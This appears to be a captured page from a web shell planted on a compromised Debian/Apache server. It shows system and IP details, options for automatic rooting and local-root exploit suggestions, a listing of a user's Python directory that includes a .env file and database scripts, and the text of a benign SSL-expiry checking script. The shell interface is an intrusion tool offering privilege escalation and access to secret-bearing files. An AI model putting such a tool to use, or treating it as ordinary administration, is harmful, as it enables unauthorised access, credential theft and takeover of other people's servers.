Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
otto /
python /
Delete
Unzip
Name
Size
Permission
Date
Action
app
[ DIR ]
drwxr-xr-x
2025-09-06 08:13
.env
479
B
-rw-r--r--
2025-09-06 08:13
.htaccess
44
B
-rw-r--r--
2025-09-06 08:13
check-ssl.py
1.36
KB
-rw-r--r--
2025-09-06 08:13
config.py
5.72
KB
-rw-r--r--
2025-09-06 08:13
db-bck.py
4.52
KB
-rw-r--r--
2025-09-06 08:13
db-transfer.py
3.94
KB
-rw-r--r--
2025-09-06 08:13
env.example
5.5
KB
-rw-r--r--
2025-09-06 08:13
requirements.txt
1.68
KB
-rw-r--r--
2025-09-06 08:13
send-mail.py
1.3
KB
-rw-r--r--
2025-09-06 08:13
server-checks.py
2.93
KB
-rw-r--r--
2025-09-06 08:13
Save
Rename
import ssl import socket from datetime import datetime def check_ssl_expiry(domain, port=443): try: # Connect to the server and get the certificate context = ssl.create_default_context() with socket.create_connection((domain, port), timeout=5) as sock: with context.wrap_socket(sock, server_hostname=domain) as ssock: cert = ssock.getpeercert() # Extract expiration date expiry_date = datetime.strptime(cert['notAfter'], "%b %d %H:%M:%S %Y %Z") days_remaining = (expiry_date - datetime.utcnow()).days # Display results print(f"Domain: {domain}") print(f"SSL Certificate Expiration Date: {expiry_date.strftime('%Y-%m-%d')}") print(f"Days Until Expiry: {days_remaining}") # Return results return { "domain": domain, "expiry_date": expiry_date.strftime('%Y-%m-%d'), "days_remaining": days_remaining, "status": "Valid" if days_remaining > 0 else "Expired" } except Exception as e: print(f"Error checking {domain}: {e}") return { "domain": domain, "error": str(e), "status": "Error" } # Example Usage if __name__ == "__main__": domains = ["igotafrica.com", "veri-rent.co.za"] for domain in domains: check_ssl_expiry(domain)